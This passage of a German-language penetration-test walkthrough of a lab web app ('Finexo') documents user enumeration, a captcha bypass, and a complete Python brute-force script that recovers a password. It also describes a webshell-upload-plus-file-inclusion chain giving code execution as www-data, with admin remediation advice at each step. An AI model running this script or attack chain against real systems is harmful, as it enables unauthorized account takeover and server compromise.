Empfehlung (Admin): - **`login.php`:** Stellen Sie sicher, dass starke Passwortrichtlinien erzwungen werden, Schutzmechanismen gegen Brute-Force (Account Lockout, Captcha) aktiv sind und keine generischen Fehlermeldungen ("Ungültiger Benutzer oder Passwort") verwendet werden, die eine Benutzer-Enumeration ermöglichen. - **`config.php`:** Sensible Konfigurationsdateien sollten niemals direkt über das Web zugänglich sein. Platzieren Sie sie außerhalb des Web-Roots oder schützen Sie den Zugriff z.B. durch `.htaccess`-Regeln (`deny from all`). Wenn sie leer ist, entfernen Sie die Datei, um Verwirrung zu vermeiden. - **`test.php`:** Fehlerhafte Skripte (die zu Status 500 führen) sollten im Produktivbetrieb nicht vorhanden sein oder zumindest detaillierte Fehlermeldungen unterdrücken (`display_errors = Off` in `php.ini`). - **`uploads/`:** Stellen Sie sicher, dass dieses Verzeichnis nicht browseable ist. Implementieren Sie strenge Kontrollen für Datei-Uploads (Dateitypen, Größenbeschränkungen, Virenscan, Umbenennung hochgeladener Dateien, Speicherung außerhalb des Web-Roots falls möglich). - **Allgemein:** Überprüfen Sie alle gefundenen Endpunkte auf Notwendigkeit und sichern Sie sie entsprechend ab.

Initial Access (Spongebob)

http://192.168.2.184/finexo/login.php

        Login
   Wrong Password


Username: Spongebob
Password: admin



Captcha:
i112
        

Analyse: Der Pentester interagiert mit dem Login-Formular unter `http://192.168.2.184/finexo/login.php`. Es wurde versucht, sich mit dem Benutzernamen `Spongebob` (Großschreibung beachten!) und dem Passwort `admin` anzumelden. Das Captcha wurde mit `i112` ausgefüllt. Die Anwendung antwortet mit der Meldung "Wrong Password".

Bewertung: Die Meldung "Wrong Password" ist ein sehr wichtiger Hinweis. Sie impliziert, dass der Benutzername `Spongebob` existiert und gültig ist, aber das eingegebene Passwort falsch war. Dies bestätigt `Spongebob` als validen Benutzer der Anwendung. Das Captcha scheint korrekt gewesen zu sein, sonst wäre wahrscheinlich eine andere Fehlermeldung erschienen.

Empfehlung (Pentester): 1. Da `Spongebob` als gültiger Benutzer bestätigt ist, konzentrieren Sie Brute-Force- oder Passwort-Guessing-Angriffe auf diesen Account. 2. Beachten Sie die Groß-/Kleinschreibung bei Benutzernamen (`Spongebob` vs. `spongebob`). 3. Das Captcha muss bei jedem Anmeldeversuch neu gelöst werden. Dies macht manuelle oder einfache Brute-Force-Angriffe schwierig und erfordert eine Automatisierung, die das Captcha umgehen oder lösen kann.
Empfehlung (Admin): - Vermeiden Sie Fehlermeldungen, die zwischen einem ungültigen Benutzernamen und einem falschen Passwort unterscheiden. Eine generische Meldung wie "Anmeldeinformationen ungültig" gibt dem Angreifer weniger Informationen. - Stellen Sie sicher, dass das Captcha robust ist und nicht leicht umgangen oder automatisiert gelöst werden kann. - Implementieren Sie Account-Lockout-Mechanismen nach mehreren fehlgeschlagenen Anmeldeversuchen.

http://192.168.2.184/finexo/login.php

        Login
   User doesn't exit


Username: sandy
Password: sandy



Captcha:
GH12
        

Analyse: Ein weiterer Anmeldeversuch, diesmal mit Benutzername `sandy` und Passwort `sandy`. Das Captcha war `GH12`. Die Anwendung antwortet mit "User doesn't exit" (wahrscheinlich ein Tippfehler, sollte "exist" heißen).

Bewertung: Diese Meldung bestätigt, dass der Benutzername `sandy` (in Kleinschreibung) in der Anwendung nicht existiert. Dies, im Kontrast zur vorherigen "Wrong Password"-Meldung für `Spongebob`, ist ein klares Indiz für eine User Enumeration Schwachstelle aufgrund unterschiedlicher Fehlermeldungen.

Empfehlung (Pentester): Notieren Sie, dass `sandy` (klein) kein gültiger Benutzer ist. Testen Sie `Sandy` (Großschreibung wie auf der team.html Seite) oder andere Variationen, falls die Anwendung Case-sensitiv ist. Die unterschiedlichen Fehlermeldungen sind Gold wert für die gezielte Benutzerenumeration.
Empfehlung (Admin): Dringende Empfehlung: Ändern Sie die Fehlermeldungen des Login-Formulars so, dass sie immer generisch sind (z.B. "Ungültige Anmeldeinformationen"), unabhängig davon, ob der Benutzername falsch ist oder das Passwort. Dies verhindert User Enumeration.

http://192.168.2.184/finexo/login.php

        Login
   Wrong Captcha


Username: sandy
Password: sandy



Captcha:
sandy
        

Analyse: Hier wurde erneut versucht, sich mit `sandy`/`sandy` anzumelden. Dieses Mal war der eingegebene Captcha-Wert `sandy`. Die Anwendung meldet "Wrong Captcha".

Bewertung: Dies zeigt, dass das Captcha-System funktioniert und falsche Eingaben erkennt. Es bestätigt auch, dass der Anmeldevorgang zuerst das Captcha prüft (oder zumindest diese Prüfung Vorrang vor der Benutzer/Passwort-Prüfung hat, wenn das Captcha offensichtlich falsch ist). Der Benutzername `sandy` ist immer noch als nicht existent zu betrachten, basierend auf der vorherigen Meldung.

Empfehlung (Pentester): Das Captcha ist ein Hindernis für automatisierte Angriffe. Es muss entweder: 1. Eine Schwachstelle im Captcha-Mechanismus selbst gefunden werden (z.B. Wiederverwendung von Captchas, schwache Generierung, keine serverseitige Validierung des Captcha-Wertes). 2. Das Captcha muss für jeden Versuch neu von einer Quelle abgefragt und dann im Login-Versuch verwendet werden (wie im späteren Python-Skript gezeigt). 3. Optische Zeichenerkennung (OCR) könnte theoretisch verwendet werden, ist aber für einfache Text-Captchas oft Overkill und fehleranfällig.
Empfehlung (Admin): Stellen Sie sicher, dass Captchas serverseitig validiert werden, nach einmaliger Verwendung ungültig werden und eine ausreichende Komplexität aufweisen, um automatisierte Lösungen zu erschweren. Protokollieren Sie fehlgeschlagene Captcha-Versuche, da eine hohe Anzahl auf einen Automatisierungsversuch hindeuten kann.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.184/finexo/login.php -s | grep -i captcha
 .....
     ...
 
        var xhr = new XMLHttpRequest();
        xhr.open('GET', '?action=generateCaptcha', true);
      

                const canvas = document.getElementById("captcha-canvas");
                const ctx = canvas.getContext("2d");
 

     .....
     ...
                const canvas = document.getElementById("captcha-canvas");
                ctx.fillText(newCaptcha, 10,35);
    refreshCaptcha()

     .....
     ...
        
        

Analyse: Der Pentester untersucht den Quellcode der `login.php`-Seite, speziell nach Vorkommnissen des Wortes "captcha". Die Ausgabe zeigt JavaScript-Code-Schnipsel, die sich auf die Captcha-Generierung und -Anzeige beziehen: - `xhr.open('GET', '?action=generateCaptcha', true);`: Ein XMLHttpRequest (Ajax) wird verwendet, um das Captcha dynamisch vom Server abzurufen. Die URL dafür ist `login.php?action=generateCaptcha`. - `document.getElementById("captcha-canvas")`: Das Captcha wird auf ein HTML-Canvas-Element gezeichnet. - `ctx.fillText(newCaptcha, 10,35);`: Der Captcha-Text (`newCaptcha`) wird auf das Canvas gezeichnet. - `refreshCaptcha()`: Es gibt eine Funktion, um das Captcha zu aktualisieren.

Bewertung: Das ist ein sehr wichtiger Fund für die Umgehung des Captchas! Da das Captcha über eine separate GET-Anfrage an `?action=generateCaptcha` geladen wird, kann ein Skript diesen Endpunkt ebenfalls abfragen, um den Captcha-Text zu erhalten, bevor es den eigentlichen Login-POST-Request mit dem erhaltenen Captcha-Wert sendet. Dies ermöglicht die Automatisierung von Login-Versuchen. Die Verwendung von Canvas zur Darstellung ist üblich, aber hier irrelevant, da der Text direkt per GET-Request bezogen werden kann.

Empfehlung (Pentester): 1. Testen Sie den Endpunkt `http://192.168.2.184/finexo/login.php?action=generateCaptcha` direkt (z.B. mit `curl` oder im Browser), um zu sehen, wie der Captcha-Text zurückgegeben wird. 2. Schreiben Sie ein Skript (z.B. Python mit `requests`), das: a. Den Captcha-Endpunkt aufruft und den Captcha-Text extrahiert. b. Einen POST-Request an `login.php` mit Benutzername, einem Passwort aus einer Liste und dem extrahierten Captcha-Text sendet. c. Die Antwort des Servers auswertet, um auf Erfolg oder Misserfolg zu prüfen.
Empfehlung (Admin): - Die Methode, den Captcha-Text direkt über einen einfachen GET-Request ohne weitere Authentifizierung oder Ratenbegrenzung preiszugeben, ist eine Schwachstelle, die die Automatisierung von Angriffen erleichtert. - Besser wäre es, wenn der Captcha-Wert serverseitig in der Session des Benutzers gespeichert und beim Login-Versuch validiert wird, ohne den reinen Text direkt an den Client zu senden. - Implementieren Sie Ratenbegrenzung auch für den Captcha-Generierungs-Endpunkt.

http://192.168.2.184/finexo/assets/json/

Index of /finexo/assets/json
------------------------------------------------------
[ICO]	Name	Last modified	Size	Description
------------------------------------------------------
[PARENTDIR]	Parent Directory	 	- 	 
[TXT]	2500.txt	2025-03-25 20:05 	3.0K	 
[ ]	datatable.column.json	2025-03-25 20:05 	1.1K	 
[ ]	datatable.json	2025-03-25 20:05 	11K	 
[ ]	file-upload.php	2025-03-25 20:05 	351 	 
[ ]	lazy.json	2025-03-25 20:05 	177 	 
[ ]	root.json	2025-03-25 20:05 	159 	 
[DIR]	typehead/	2025-03-25 20:05 	- 	
------------------------------------------------------ 
Apache/2.4.62 (Debian) Server at 192.168.2.184 Port 80
        

Analyse: Der Pentester hat das Verzeichnis `http://192.168.2.184/finexo/assets/json/` im Browser geöffnet. Da dort keine Index-Datei (wie `index.html` oder `index.php`) vorhanden ist und Directory Listing auf dem Server aktiviert ist, wird der Inhalt des Verzeichnisses aufgelistet. Folgende Dateien und ein Unterverzeichnis sind sichtbar: - `2500.txt`: Eine Textdatei. - `datatable.column.json`, `datatable.json`, `lazy.json`, `root.json`: JSON-Dateien, die Konfigurationen oder Daten enthalten könnten. - `file-upload.php`: Ein PHP-Skript für Datei-Uploads. Dies ist extrem interessant! - `typehead/`: Ein Unterverzeichnis, möglicherweise für Typeahead/Autocomplete-Funktionalität.

Bewertung: Directory Listing ist eine häufige Fehlkonfiguration, die Angreifern das Entdecken von Dateien und Verzeichnissen erleichtert, die nicht direkt verlinkt sind. Der Fund von `file-upload.php` ist kritisch, da eine unsichere Implementierung von Datei-Uploads oft zu Remote Code Execution führen kann (z.B. durch Hochladen einer Webshell). Die JSON-Dateien und die Textdatei sollten ebenfalls auf sensible Informationen untersucht werden.

Empfehlung (Pentester): 1. **`file-upload.php`:** Untersuchen Sie dieses Skript sofort. Ist es direkt aufrufbar? Benötigt es Authentifizierung? Welche Dateitypen sind erlaubt? Gibt es Filter? Wo werden die Dateien gespeichert (möglicherweise im `/finexo/uploads/` Verzeichnis)? 2. Laden Sie alle Text- und JSON-Dateien herunter und analysieren Sie deren Inhalt. `root.json` klingt besonders verlockend, auch wenn es klein ist. 3. Untersuchen Sie das `typehead/` Verzeichnis.
Empfehlung (Admin): - **Deaktivieren Sie Directory Listing global** auf Ihrem Webserver (z.B. mit `Options -Indexes` in der Apache-Konfiguration oder `.htaccess`). - **`file-upload.php`:** Wenn dieses Skript benötigt wird, stellen Sie sicher, dass es robust gegen gängige Upload-Schwachstellen gesichert ist (strikte Typenprüfung, Umbenennung, Größenlimits, Speicherung außerhalb des Web-Roots oder in einem nicht direkt ausführbaren Pfad, Virenscan). Wenn es nicht benötigt wird oder ein Überbleibsel ist, entfernen Sie es. - Stellen Sie sicher, dass keine sensiblen Informationen in öffentlich zugänglichen JSON- oder Textdateien gespeichert werden.

┌──(root㉿CCat)-[~] └─# curl -s "http://192.168.2.184/finexo/login.php?action=generateCaptcha" --cookie "PHPSESSID=dhrtrtp4vdramdjqg7e0fg4vr2"
rfiF  
        

Analyse: Der Pentester testet den zuvor identifizierten Captcha-Generierungs-Endpunkt mit `curl`. - `-s`: Silent mode, unterdrückt Fortschrittsanzeige. - `"http://192.168.2.184/finexo/login.php?action=generateCaptcha"`: Die URL zum Abrufen des Captcha-Textes. - `--cookie "PHPSESSID=dhrtrtp4vdramdjqg7e0fg4vr2"`: Es wird ein Cookie mit einer PHP-Session-ID gesendet. Dies ist wichtig, da der Server den Captcha-Wert wahrscheinlich an diese Session bindet. Die Antwort des Servers ist `rfiF`, was der Klartext des Captchas zu sein scheint.

Bewertung: Dies bestätigt, dass der Captcha-Text direkt über diesen Endpunkt bezogen werden kann. Die Verwendung eines Session-Cookies ist hierbei entscheidend, da der Server den für die Session `dhrtrtp4vdramdjqg7e0fg4vr2` generierten Captcha-Wert zurückgibt. Dieser Wert muss dann im anschließenden Login-POST-Request innerhalb derselben Session verwendet werden. Dies ist der Schlüssel zur Automatisierung des Login-Brute-Force-Angriffs.

Empfehlung (Pentester): Das ist die Bestätigung, dass das geplante Python-Skript zur Automatisierung des Logins funktionieren sollte. Das Skript muss: 1. Eine Session mit dem Server starten (z.B. mit `requests.Session()`). 2. Den Captcha-Endpunkt mit dieser Session aufrufen, um den Captcha-Text zu erhalten und das Session-Cookie zu verwenden/aktualisieren. 3. Den Login-POST-Request mit Benutzername, Passwort und dem erhaltenen Captcha-Text unter Verwendung derselben Session senden.
Empfehlung (Admin): Wie zuvor erwähnt: - Diese Art der Captcha-Implementierung ist schwach. Der Captcha-Wert sollte nicht direkt an den Client gesendet werden. - Der Wert sollte serverseitig in der Session gespeichert und beim Login validiert werden. - Ratenbegrenzung und andere Schutzmaßnahmen für den Captcha-Endpunkt implementieren.

import requests
import time

login_url = "http://192.168.2.184/finexo/login.php"
captcha_url = login_url + "?action=generateCaptcha"
username = "Spongebob" # Oder "SpongeBob"
password_list_file = "/usr/share/wordlists/rockyou.txt" # Oder eine kleinere Liste

with open(password_list_file, "r", errors='ignore') as f:
    for password in f:
        password = password.strip()
        if not password:
            continue

        print(f"Trying password: {password}")

        # Neue Session für jeden Versuch (oder prüfe ob die alte noch gültig ist)
        s = requests.Session()

        try:
            # 1. Session initialisieren (optional, aber gut für Cookie Handling)
            s.get(login_url, timeout=5)

            # 2. CAPTCHA abfragen
            captcha_response = s.get(captcha_url, timeout=5)
            captcha_text = captcha_response.text.strip()
            print(f"  Got CAPTCHA: {captcha_text}")

            if not captcha_text or len(captcha_text) < 3: # Einfache Prüfung
                 print("  Error getting CAPTCHA, skipping password.")
                 time.sleep(1) # Kurz warten
                 continue

            # 3. Login versuchen
            login_data = {
                "username": username,
                "password": password,
                "captcha": captcha_text
                # Checke im Browser (Entwicklertools -> Netzwerk) ob die POST-Parameter wirklich so heißen!
            }
            login_response = s.post(login_url, data=login_data, timeout=10, allow_redirects=True) # Wichtig: redirects erlauben

            # 4. Antwort prüfen
            # htmlbodypUser doesn't exit/p/body/html
            # htmlbodypWrong Password/p/body/html
            # htmlbodypWrong Captcha/p/body/html
            response_text = login_response.text

            if "Wrong Password" in response_text:
                print("  Wrong Password.")
            elif "Wrong Captcha" in response_text:
                print("  Wrong Captcha! Script/Timing issue?")
                # Hier könntest du eine Pause einbauen oder den Versuch wiederholen
                time.sleep(2)
            elif "User doesn't exit" in response_text:
                 print(f"  User '{username}' does not exist? Check case sensitivity!")
                 # Breche hier vielleicht ab, wenn der User doch falsch ist
                 break
            #elif "dashboard" in login_response.url or "Welcome" in response_text: # Oder andere Erfolgsindikatoren
            elif "Login" not in response_text and "Wrong" not in response_text: # Wenn keine Fehlermeldung und nicht mehr auf Login-Seite
                print(f"[+] SUCCESS! Password found: {password}")
                # Schreibe das PW in eine Datei oder gib es deutlich aus
                with open("found_password.txt", "w") as outfile:
                    outfile.write(f"{username}:{password}")
                break # Erfolg, Schleife beenden
            else:
                print(f"  Unknown response for password '{password}'. Check manually.")
                # print(response_text[:500]) # Ausgabe zur Analyse

            # Kleine Pause, um den Server nicht zu überlasten
            # time.sleep(0.1)

        except requests.exceptions.RequestException as e:
            print(f"  Error during request for password '{password}': {e}")
            time.sleep(5) # Längere Pause bei Fehlern
        

Analyse: Dies ist ein Python-Skript, das entwickelt wurde, um den Anmeldevorgang bei `login.php` zu automatisieren und einen Brute-Force-Angriff auf das Passwort des Benutzers `Spongebob` durchzuführen. Es berücksichtigt die Captcha-Umgehung. Schlüsselfunktionen des Skripts: 1. **Importiert `requests` und `time`.** 2. **Definiert URLs und Zieldaten:** `login_url`, `captcha_url`, `username` ("Spongebob") und eine Passwortliste (`rockyou.txt`). 3. **Liest Passwörter:** Öffnet die Passwortliste und iteriert über jedes Passwort. 4. **Session Management:** Verwendet `requests.Session()` für jeden Versuch, um Cookies (insbesondere PHPSESSID) über Anfragen hinweg beizubehalten. Ein neues Session-Objekt wird für jeden Passwortversuch erstellt, was nicht ideal ist – besser wäre es, eine Session zu starten und diese für mehrere Versuche beizubehalten, solange sie gültig ist oder das Captcha nicht als falsch gemeldet wird. 5. **Captcha Abruf:** Ruft den `captcha_url` auf, um den Captcha-Text zu erhalten. 6. **Login-Versuch:** Sendet einen POST-Request mit `username`, dem aktuellen `password` aus der Liste und dem abgerufenen `captcha_text`. 7. **Antwortprüfung:** Überprüft den Text der Serverantwort auf Schlüsselphrasen wie "Wrong Password", "Wrong Captcha", "User doesn't exit" oder auf Erfolgsindikatoren (z.B. keine Fehlermeldung mehr und nicht mehr auf der Login-Seite). 8. **Erfolgsbehandlung:** Wenn ein Login erfolgreich ist, wird das Passwort ausgegeben und in `found_password.txt` gespeichert, woraufhin das Skript abbricht. 9. **Fehlerbehandlung:** Enthält einen `try-except`-Block für `requests.exceptions.RequestException`. Die Kommentare im Skript sind sehr hilfreich und erklären die Logik gut. Die HTML-Tags in den Kommentarzeilen wurden entfernt (z.B. `htmlbodyp...`).

Bewertung: Das Skript ist ein gut durchdachter Ansatz zur Automatisierung des Angriffs auf das Login-Formular mit dem dynamischen Captcha. Die Verwendung einer Session pro Versuch könnte ineffizient sein und den Server unnötig belasten oder dazu führen, dass Sessions schneller ablaufen. Eine robustere Implementierung würde versuchen, eine Session länger aktiv zu halten. Die Erfolgsbedingung (`"Login" not in response_text and "Wrong" not in response_text`) ist eine vernünftige Heuristik, um einen erfolgreichen Login zu erkennen, wenn keine explizite "Welcome"-Nachricht oder Weiterleitung auf ein Dashboard geprüft wird.

Empfehlung (Pentester): Das Skript ist einsatzbereit. - Überlegen Sie, die Session-Handhabung zu optimieren (eine Session für mehrere Versuche, solange das Captcha nicht fehlschlägt). - Die Passwortliste `rockyou.txt` ist sehr groß. Für schnellere Tests könnte eine kleinere, kontextbezogenere Liste verwendet werden, oder eine Top-X-Liste. - Führen Sie das Skript aus und beobachten Sie die Ausgabe.
Empfehlung (Admin): Dieses Skript demonstriert, wie Schwachstellen (User Enumeration, direkt abrufbares Captcha) kombiniert werden können, um effektive automatisierte Angriffe zu erstellen. - Beheben Sie die zugrundeliegenden Schwachstellen (siehe Empfehlungen zu User Enumeration und Captcha-Implementierung). - Implementieren Sie serverseitige Ratenbegrenzung und Account-Lockout-Mechanismen, die auch von solchen Skripten ausgelöst werden. - Überwachen Sie Login-Versuche auf verdächtige Muster (z.B. viele schnelle Versuche von einer IP, auch wenn das Captcha immer korrekt ist).

┌──(root㉿CCat)-[~] └─# python3 captchabypass.py
  Got CAPTCHA: fP2P
  Wrong Password.
Trying password: squarepants
  Got CAPTCHA: fP2P
[+] SUCCESS! Password found: squarepants
        

Analyse: Das Python-Skript (`captchabypass.py`) wird ausgeführt. - Der erste Versuch mit einem (nicht gezeigten) Passwort und dem Captcha `fP2P` schlägt mit "Wrong Password" fehl. - Das Skript versucht dann das Passwort `squarepants`. Es erhält erneut das Captcha `fP2P` (was darauf hindeutet, dass entweder das Captcha für die Session gleich bleibt oder zufällig dasselbe generiert wurde, oder die Session-Handhabung im Skript so ist, dass es effektiv dieselbe Session ist oder das Captcha nicht schnell genug rotiert). - Dieser Versuch ist erfolgreich: `[+] SUCCESS! Password found: squarepants`.

Bewertung: Fantastisch! Das Skript hat funktioniert und das Passwort für den Benutzer `Spongebob` wurde als `squarepants` identifiziert. Dies ist ein signifikanter Durchbruch und gewährt initialen Zugriff auf die Webanwendung. Der Name "squarepants" passt thematisch zum Benutzernamen "Spongebob". Das wiederholte Captcha `fP2P` ist interessant und könnte auf eine Schwäche in der Captcha-Rotation oder Session-Bindung hindeuten, wenn zwischen den Versuchen keine neue Session explizit gestartet wurde und das erste Passwort falsch war.

Empfehlung (Pentester): 1. Melden Sie sich sofort mit `Spongebob` und `squarepants` bei `http://192.168.2.184/finexo/login.php` an. 2. Erkunden Sie den Bereich nach dem Login (wahrscheinlich das zuvor gefundene `/dashboard/`). Suchen Sie nach neuen Funktionen, Informationen, Upload-Möglichkeiten oder Hinweisen auf weitere Schwachstellen. 3. Überprüfen Sie, ob diese Anmeldeinformationen auch für SSH gültig sind.
Empfehlung (Admin): - Das Passwort `squarepants` ist ein schwaches, themenbezogenes Passwort und leicht zu erraten, besonders in Kombination mit dem Benutzernamen. - Erzwingen Sie eine starke Passwortrichtlinie (Mindestlänge, Komplexität, keine Wörterbuchwörter oder themenbezogene Begriffe). - Überprüfen Sie die Captcha-Implementierung: Captchas sollten nach jedem Versuch (oder zumindest nach einem fehlgeschlagenen) ungültig werden und neu generiert werden. Ein gleichbleibendes Captcha über mehrere fehlgeschlagene Versuche hinweg ist ein Problem. - Auditieren Sie alle Benutzerkonten auf schwache Passwörter.

http://192.168.2.184/finexo/dashboard/

Username: spongebob
Password: squarepants

logo : Mantis
        

Analyse: Der Pentester hat sich erfolgreich bei `http://192.168.2.184/finexo/dashboard/` mit den Anmeldeinformationen `spongebob` / `squarepants` angemeldet. Auf dem Dashboard fällt ein Logo oder ein Hinweis "Mantis" auf.

Bewertung: Der Zugriff auf das Dashboard ist bestätigt. Der Hinweis "Mantis" ist sehr wichtig. MantisBT (Mantis Bug Tracker) ist ein bekanntes Open-Source-Bug-Tracking-System. Wenn die Anwendung oder Teile davon MantisBT verwenden, könnten spezifische Schwachstellen für MantisBT relevant sein. Es ist auch möglich, dass "Mantis" nur ein Projektname oder ein internes Codewort ist.

Empfehlung (Pentester): 1. Untersuchen Sie das Dashboard gründlich. Gibt es versionsspezifische Informationen zu MantisBT (falls es sich darum handelt)? 2. Suchen Sie nach bekannten Schwachstellen für MantisBT. Metasploit hat Module für MantisBT. 3. Prüfen Sie, welche Benutzerrollen und Berechtigungen der Account `spongebob` im Dashboard hat. Gibt es Datei-Upload-Funktionen, Benutzermanagement, Konfigurationseinstellungen?
Empfehlung (Admin): - Wenn MantisBT (oder eine andere Drittanbieter-Software) verwendet wird, stellen Sie sicher, dass es immer auf die neueste, sicherste Version aktualisiert wird. - Überprüfen Sie die Konfiguration von MantisBT auf Sicherheitshärtung (z.B. Standard-Admin-Passwort geändert, unnötige Funktionen deaktiviert). - Beschränken Sie den Zugriff auf das Dashboard/MantisBT auf notwendige Benutzer und IP-Adressen.

┌──(root㉿CCat)-[~] └─# ssh spongebob@192.168.2.184
The authenticity of host '192.168.2.184 (192.168.2.184)' can't be established.
ED25519 key fingerprint is SHA256:0d4MWSfQ+tUZ0f4j8Wea2uYelBzzcaj0CI4NtYQIx0E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.184' (ED25519) to the list of known hosts.
spongebob@192.168.2.184's password: squarepants
Permission denied, please try again.
        

Analyse: Der Pentester versucht, sich per SSH als Benutzer `spongebob` mit dem zuvor gefundenen Passwort `squarepants` auf dem Zielserver `192.168.2.184` anzumelden. Nachdem die Authentizität des Hosts bestätigt wurde, wird das Passwort eingegeben. Die Anmeldung schlägt mit "Permission denied, please try again." fehl.

Bewertung: Dies zeigt, dass das Passwort `squarepants` für den Benutzer `spongebob` zwar für die Webanwendung (`/finexo/dashboard/`) gültig ist, aber nicht für den SSH-Zugang auf dem System. Dies ist eine gängige Situation, da System-Accounts und Webanwendungs-Accounts oft separate Passwort-Datenbanken haben. Es ist eine gute Sicherheitspraxis, Passwörter nicht systemübergreifend wiederzuverwenden.

Empfehlung (Pentester): Der SSH-Zugang ist mit diesen Credentials nicht möglich. Die weitere Ausnutzung muss sich auf die Webanwendung konzentrieren, da dort der Zugriff besteht. Suchen Sie innerhalb der Webanwendung nach Möglichkeiten, Befehle auszuführen, Dateien hochzuladen oder andere Schwachstellen auszunutzen, die zu einem Shell-Zugang führen könnten.
Empfehlung (Admin): - Dies ist ein Beispiel für gute Passwort-Hygiene (unterschiedliche Passwörter für unterschiedliche Dienste). - Stellen Sie weiterhin sicher, dass SSH-Passwörter stark sind und idealerweise Schlüssel-basierte Authentifizierung verwendet wird. - Überwachen Sie fehlgeschlagene SSH-Anmeldeversuche.

Proof of Concept: Remote Code Execution als www-data

Kurzbeschreibung: Nachdem Zugriff auf das "Finexo"-Dashboard als Benutzer "spongebob" erlangt wurde, wurde eine Funktionalität zum Aktualisieren des Profils identifiziert. Diese erlaubte das Hochladen eines Profilbildes. Durch Manipulation des Upload-Requests mit Burp Suite konnte der Benutzerkontext von "spongebob" auf "Administratro" (ein vermuteter Admin-Account) geändert und gleichzeitig eine PHP-Webshell als Profilbild hochgeladen werden. Die Applikation benannte die hochgeladene Datei zwar um, speicherte sie aber mit der Endung .jpg im `/finexo/uploads/`-Verzeichnis, obwohl der Inhalt PHP-Code war. Eine separate `test.php`-Seite wurde zuvor entdeckt, die einen `file`-Parameter akzeptierte. Durch Aufrufen von `test.php` mit dem Pfad zur hochgeladenen Webshell (als Wert für `file`) und einem `cmd`-Parameter konnte beliebiger Systemcode als Benutzer `www-data` ausgeführt werden. Dies beweist eine kritische Schwachstelle durch unzureichende Validierung von Dateiuploads und Benutzerkontexten, kombiniert mit einer Local File Inclusion (LFI)-artigen Schwachstelle in `test.php`.

Voraussetzungen: - Netzwerkzugriff auf den Webserver (Port 80). - Gültige Anmeldeinformationen für das Finexo-Dashboard (hier: spongebob/squarepants). - Ein Tool zum Abfangen und Modifizieren von HTTP-Requests (z.B. Burp Suite). - Eine präparierte PHP-Webshell (z.B. ``), gespeichert als `.jpg`-Datei. - Kenntnis des Upload-Verzeichnisses (hier: `/finexo/uploads/`) und des Namensmusters der hochgeladenen Dateien. - Kenntnis der verwundbaren `test.php` und ihrer Parameter (`file`, `cmd`).

Erwartetes Ergebnis: Ausführung von beliebigen Systembefehlen auf dem Server im Kontext des `www-data`-Benutzers, was typischerweise der Benutzer ist, unter dem der Webserver läuft. Dies ermöglicht das Auslesen von Dateien, das Auflisten von Verzeichnissen, das Starten von Reverse Shells etc.

msf6 auxiliary(scanner/ssh/ssh_enumusers) > search mantis

Matching Modules
================

   #  Name                                                             Disclosure Date  Rank       Check  Description
   -  ----                                                             ---------------  ----       -----  -----------
   0  exploit/multi/http/mantisbt_manage_proj_page_rce                 2008-10-16       excellent  Yes    Mantis manage_proj_page PHP Code Execution
   1  auxiliary/gather/mantisbt_admin_sqli                             2014-02-28       normal     No     MantisBT Admin SQL Injection Arbitrary File Read
   2  exploit/multi/http/mantisbt_php_exec                             2014-11-08       great      Yes    MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability
   3  auxiliary/admin/http/mantisbt_password_reset                     2017-04-16       normal     Yes    MantisBT password reset
   4  exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec  2017-05-26       excellent  Yes    VICIdial user_authorization Unauthenticated Command Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec

        

Analyse: Nach dem Hinweis "Mantis" auf dem Dashboard wird Metasploit erneut konsultiert, um nach bekannten Exploits oder Modulen für MantisBT zu suchen. Die Suche liefert mehrere Module: - `exploit/multi/http/mantisbt_manage_proj_page_rce` (2008, excellent): Ein älterer Exploit für RCE, benötigt oft Admin-Rechte. - `auxiliary/gather/mantisbt_admin_sqli` (2014, normal): SQL-Injection zum Dateilesen, benötigt Admin-Rechte. - `exploit/multi/http/mantisbt_php_exec` (2014, great): RCE über XmlImportExport-Plugin, benötigt wahrscheinlich spezielle Rechte. - `auxiliary/admin/http/mantisbt_password_reset` (2017, normal): Zielt auf die Passwort-Zurücksetzen-Funktion ab, benötigt nur einen gültigen Benutzernamen. - Ein nicht verwandtes Modul für VICIdial.

Bewertung: Die Module für MantisBT sind interessant, aber viele erfordern Admin-Rechte, die `spongebob` wahrscheinlich nicht hat. Das `mantisbt_password_reset`-Modul (Index 3) könnte nützlich sein, um zu versuchen, das Passwort eines Admin-Kontos (z.B. `administrator`) zurückzusetzen, falls die Webanwendung tatsächlich MantisBT ist und diese Schwachstelle aufweist. Der Pentester macht sich hier Gedanken über die Relevanz der Module, was ein guter strategischer Schritt ist.

Empfehlung (Pentester): 1. Bestätigen Sie zunächst, ob es sich bei der Anwendung tatsächlich um MantisBT handelt und versuchen Sie, die Version herauszufinden. 2. Wenn ja, könnte das `mantisbt_password_reset`-Modul auf den Standard-Admin-Benutzernamen `administrator` getestet werden. 3. Da aber bereits ein Login als `spongebob` besteht, ist es oft zielführender, zunächst die Funktionalitäten zu untersuchen, auf die dieser Benutzer Zugriff hat (z.B. Datei-Uploads, Profileinstellungen), bevor man sich auf potenziell veraltete oder nicht anwendbare Exploits stürzt.
Empfehlung (Admin): - Halten Sie jede eingesetzte Drittanbietersoftware (wie MantisBT) stets auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. - Ändern Sie Standard-Admin-Passwörter sofort nach der Installation. - Deaktivieren Sie nicht benötigte Plugins oder Funktionen. - Überwachen Sie Ihre Systeme auf Anzeichen von Exploit-Versuchen.

revshell hochgeladen über die Profileinstellungen


img src="http://192.168.2.184/finexo/uploads/1745710322_upload.jpg" alt="Die Grafik quot;http://192.168.2.184/finexo/uploads/1745710322_upload.jpgquot; kann nicht angezeigt werden, weil sie Fehler enthält."
        

Analyse: Der Pentester gibt an, eine "revshell" (Reverse Shell) über die Profileinstellungen hochgeladen zu haben. Die nachfolgende Zeile ist ein HTML-`img`-Tag, das auf eine Datei im Verzeichnis `/finexo/uploads/` verweist: `1745710322_upload.jpg`. Der `alt`-Text deutet darauf hin, dass der Browser das Bild nicht anzeigen konnte, weil es Fehler enthält – was zu erwarten ist, wenn der Inhalt kein gültiges Bild, sondern PHP-Code (die revshell) ist. Der Dateiname `1745710322_upload.jpg` scheint serverseitig generiert zu sein (Timestamp + `_upload.jpg`).

